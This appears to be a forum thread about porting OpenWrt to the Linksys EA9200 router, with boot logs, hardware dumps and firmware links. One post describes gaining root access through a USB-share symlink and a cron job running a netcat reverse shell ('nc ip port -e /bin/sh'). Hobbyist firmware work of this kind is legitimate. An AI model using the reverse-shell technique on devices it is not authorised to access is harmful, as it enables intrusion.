[   16.167465] br-lan: port 1(eth0.1) entered disabled state
[   16.173322] device eth0.1 entered promiscuous mode
[   16.178155] device eth0 entered promiscuous mode
[   16.186377] br-lan: port 1(eth0.1) entered blocking state
[   16.191863] br-lan: port 1(eth0.1) entered forwarding state
[   18.109950] IPv6: ADDRCONF(NETDEV_UP): wlan0: link is not ready
[   18.143184] IPv6: ADDRCONF(NETDEV_UP): wlan1: link is not ready
[   18.151326] br-lan: port 2(wlan0) entered blocking state
[   18.156710] br-lan: port 2(wlan0) entered disabled state
[   18.162404] device wlan0 entered promiscuous mode
[   18.167189] br-lan: port 2(wlan0) entered blocking state
[   18.172543] br-lan: port 2(wlan0) entered forwarding state
[   18.178710] br-lan: port 3(wlan1) entered blocking state
[   18.184090] br-lan: port 3(wlan1) entered disabled state
[   18.189747] device wlan1 entered promiscuous mode
[   18.194578] br-lan: port 3(wlan1) entered blocking state
[   18.199917] br-lan: port 3(wlan1) entered forwarding state
[   18.212577] br-lan: port 2(wlan0) entered disabled state
[   18.218658] br-lan: port 3(wlan1) entered disabled state
[   18.256998] IPv6: ADDRCONF(NETDEV_UP): wlan2: link is not ready
[   18.266053] br-lan: port 4(wlan2) entered blocking state
[   18.271405] br-lan: port 4(wlan2) entered disabled state
[   18.277126] device wlan2 entered promiscuous mode
[   18.281962] br-lan: port 4(wlan2) entered blocking state
[   18.287325] br-lan: port 4(wlan2) entered forwarding state
[   18.577070] IPv6: ADDRCONF(NETDEV_CHANGE): wlan2: link becomes ready
[   18.583691] IPv6: ADDRCONF(NETDEV_CHANGE): wlan0: link becomes ready
[   18.590254] br-lan: port 2(wlan0) entered blocking state
[   18.595594] br-lan: port 2(wlan0) entered forwarding state
[   18.896421] IPv6: ADDRCONF(NETDEV_CHANGE): wlan1: link becomes ready
[   18.902987] br-lan: port 3(wlan1) entered blocking state
[   18.908320] br-lan: port 3(wlan1) entered forwarding state

Here is the linksys official GPL code site:

https://www.linksys.com/us/support-article?articleNum=114663

The EA9200 source:
http://downloads.linksys.com/downloads/gpl/EA9200_v1.1.7.172584.tar.gz

Hope it helps, I have downloaded the source but I dont have much experience with embedded systems.

Worked out how to get a shell on this device when in the Linksys Firmware (my version is 1.1.5.164615) - it might work for other devices:

  1. Format a USB Stick in Ext3
  2. Create a symlink to / (I called it root)
  3. Plug in the USB Stick into the Device
  4. Using the External Storage menu in the Linksys Firmware create a share to the symlink
  5. You now have file access to the root directory
  6. Update one of the cron jobs in /etc/cron/cron.everyminute/ to run netcat and redirect the shell to another device: nc ip port -e /bin/sh

I copied dropbear to the usb stick and executed it - which you could do via cron or once you are running a remote shell.

Haven't been brave enough to remount /dev/root (squashfs) as read write to make dropbear start permanently - any thoughts on whether it would brick the device?

Here is the relevant data as per https://openwrt.org/docs/guide-developer/adding_new_device

~ # cat /proc/cmdline
root=/dev/mtdblock2 console=ttyS0,115200 init=/sbin/preinit earlyprintk debug
~ # cat /proc/cpuinfo
Processor       : ARMv7 Processor rev 0 (v7l)
processor       : 0
BogoMIPS        : 1998.84

processor       : 1
BogoMIPS        : 1998.84

Features        : swp half thumb fastmult edsp
CPU implementer : 0x41
CPU architecture: 7
CPU variant     : 0x3
CPU part        : 0xc09
CPU revision    : 0

Hardware        : Northstar Prototype
Revision        : 0000
Serial          : 0000000000000000
~ # cat /proc/meminfo
MemTotal:         254268 kB
MemFree:           13628 kB
Buffers:            7708 kB
Cached:           164908 kB
SwapCached:            0 kB
Active:            24276 kB
Inactive:         158100 kB
Active(anon):       5800 kB
Inactive(anon):     7680 kB
Active(file):      18476 kB
Inactive(file):   150420 kB
Unevictable:           0 kB
Mlocked:               0 kB
SwapTotal:             0 kB
SwapFree:              0 kB
Dirty:                 0 kB
Writeback:             0 kB
AnonPages:          9772 kB
Mapped:             6668 kB
Shmem:              3720 kB
Slab:              39672 kB
SReclaimable:       2696 kB
SUnreclaim:        36976 kB
KernelStack:        1008 kB
PageTables:          752 kB
NFS_Unstable:          0 kB
Bounce:                0 kB
WritebackTmp:          0 kB
CommitLimit:      127132 kB
Committed_AS:      21320 kB
VmallocTotal:     516096 kB
VmallocUsed:       31392 kB
VmallocChunk:     420664 kB
~ # cat /proc/devices
Character devices:
  1 mem
  2 pty
  3 ttyp
  4 ttyS
  5 /dev/tty
  5 /dev/console
  5 /dev/ptmx
 10 misc
 90 mtd
108 ppp
128 ptm
136 pts
180 usb
189 usb_device
252 buttons
253 nvram
254 gpio

Block devices:
  1 ramdisk
259 blkext
  7 loop
  8 sd
 31 mtdblock
 65 sd
 66 sd
 67 sd
 68 sd
 69 sd
 70 sd
 71 sd
128 sd
129 sd
130 sd
131 sd
132 sd
133 sd
134 sd
135 sd
179 mmc
~ # ls /sys/devices/platform
bcm5301x-spi-master.1  serial8250.0
serial8250             uevent
~ # cat /proc/mtd
dev:    size   erasesize  name
mtd0: 00080000 00020000 "boot"
mtd1: 00180000 00020000 "nvram"
mtd2: 02800000 00020000 "linux"
mtd3: 025be244 00020000 "rootfs"
mtd4: 02800000 00020000 "linux2"
mtd5: 025be244 00020000 "rootfs2"
mtd6: 02e00000 00020000 "brcmnand"

~ # ifconfig -a
br0       Link encap:Ethernet  HWaddr 48:F8:B3:DE:61:43
          inet addr:172.28.5.253  Bcast:172.28.5.255  Mask:255.255.255.0
          inet6 addr: fe80::4af8:b3ff:fede:6143/64 Scope:Link
          UP BROADCAST RUNNING ALLMULTI MULTICAST  MTU:1500  Metric:1
          RX packets:1166835 errors:0 dropped:0 overruns:0 frame:0
          TX packets:668200 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:169485368 (161.6 MiB)  TX bytes:423597143 (403.9 MiB)

dpsta     Link encap:Ethernet  HWaddr 00:00:00:00:00:00
          BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

eth0      Link encap:Ethernet  HWaddr 48:F8:B3:DE:61:43
          inet6 addr: fe80::4af8:b3ff:fede:6143/64 Scope:Link
          UP BROADCAST RUNNING PROMISC ALLMULTI MULTICAST  MTU:1500  Metric:1
          RX packets:1254814 errors:0 dropped:0 overruns:0 frame:0
          TX packets:674508 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:209443353 (199.7 MiB)  TX bytes:426712679 (406.9 MiB)
          Interrupt:181 Base address:0x6000

eth1      Link encap:Ethernet  HWaddr 48:F8:B3:DE:61:45
          inet6 addr: fe80::4af8:b3ff:fede:6145/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:6060742 errors:0 dropped:1012 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:1621504125 (1.5 GiB)

eth2      Link encap:Ethernet  HWaddr 48:F8:B3:DE:61:44
          inet6 addr: fe80::4af8:b3ff:fede:6144/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:6632973 errors:0 dropped:283626 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:2889820400 (2.6 GiB)

eth3      Link encap:Ethernet  HWaddr 48:F8:B3:DE:61:46
          inet6 addr: fe80::4af8:b3ff:fede:6146/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:18080748 errors:0 dropped:1097 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:1683967394 (1.5 GiB)

fwd0      Link encap:Ethernet  HWaddr 00:00:00:00:00:00
          inet6 addr: fe80::200:ff:fe00:0/64 Scope:Link
          UP BROADCAST RUNNING PROMISC ALLMULTI MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:6378474 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:1635264558 (1.5 GiB)
          Interrupt:179 Base address:0x4000

fwd1      Link encap:Ethernet  HWaddr 00:00:00:00:00:00
          inet6 addr: fe80::200:ff:fe00:0/64 Scope:Link
          UP BROADCAST RUNNING PROMISC ALLMULTI MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:4632916 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:749915433 (715.1 MiB)
          Interrupt:180 Base address:0x5000

ip6tnl0   Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
          NOARP  MTU:1460  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:1319262 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1319262 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:283285302 (270.1 MiB)  TX bytes:283285302 (270.1 MiB)

sit0      Link encap:IPv6-in-IPv4
          NOARP  MTU:1480  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

tunl0     Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
          NOARP  MTU:1480  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

vlan1     Link encap:Ethernet  HWaddr 48:F8:B3:DE:61:43
          inet6 addr: fe80::4af8:b3ff:fede:6143/64 Scope:Link
          UP BROADCAST RUNNING PROMISC ALLMULTI MULTICAST  MTU:1500  Metric:1
          RX packets:1254814 errors:0 dropped:0 overruns:0 frame:0
          TX packets:674496 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:186856701 (178.2 MiB)  TX bytes:426711523 (406.9 MiB)

vlan2     Link encap:Ethernet  HWaddr 48:F8:B3:DE:61:43
          inet6 addr: fe80::4af8:b3ff:fede:6143/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:5 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B)  TX bytes:538 (538.0 B)

~ # ls /sys/class/net
br0      eth0     eth2     fwd0     ip6tnl0  sit0     vlan1
dpsta    eth1     eth3     fwd1     lo       tunl0    vlan2

~ # brctl show
bridge name     bridge id               STP enabled     interfaces
br0             8000.48f8b3de6143       no              vlan1
1 Like

squashfs is a read-only filesystem, even if you wanted, you can't write to it in-place.

thanks for the prompt reply :slight_smile:

Bump***
Hello guys I'm new to the forum. I actually have two of them. One that I'm using that is driving me crazy with the crappy intermittent parental controls, and another one that's new in the box so I could burn one if need be. Just give me some instructions and tell me what to do and I'll be your trial and error and see if it works.

ShiZZ_DiGG

Same here. i already played a little bit with the nvram0 ... at least we got a backup flash.

I'm trying to dump the flash memory but theonlything i get it'S bin file with only "FF's"

if it's possible i can solder a jtag port (i'm equipped for microsoldering), maybe we could do something useful of those paperweight!

DD-WRT might have working firmwares for EA9200.

https://wiki.dd-wrt.com/wiki/index.php/Supported_Devices#Linksys_.28Wireless_a.2Fb.2Fg.2Fn.2Fac.29

It says TBD for EA9200. But right above in their HW list there is EA6900 which apparently has similar hardware, is supported and does have a DD-WRT firmware:

https://wiki.dd-wrt.com/wiki/index.php/Linksys_EA6900

There are links to detailed (and not easy) installation instructions in above link.

Who will be nice enough to test DD-WRT firmware for EA6900 in a EA9200 unit to see how it goes ?

Last beta is here:

https://dd-wrt.com/support/other-downloads/?path=betas%2F2019%2F02-19-2019-r38840%2Flinksys-ea6900%2F

Thank you in advance

Also, EA9500 looks very similar to EA9200.

There is a guy that has working recent OpenWRT firmware for EA9500:

Bringing this old thread back from dead. I tried flashing the initial firmware
2020-01-02 on to my EA9200 and it boots without issue. Looking more into this.

I have succeeded in creating my own snapshot build for EA9200.
Currently just boots up and shows the OpenWRT landing page. No wireless or anything.
Here is the link if anyone wants to give it a try EA9200

I have the first alpha build for EA9200, with working Radio, Switch and other things.
I have forked from hurrian's repo for EA9500 and made necessary changes for 9200.
Let me know your feedbacks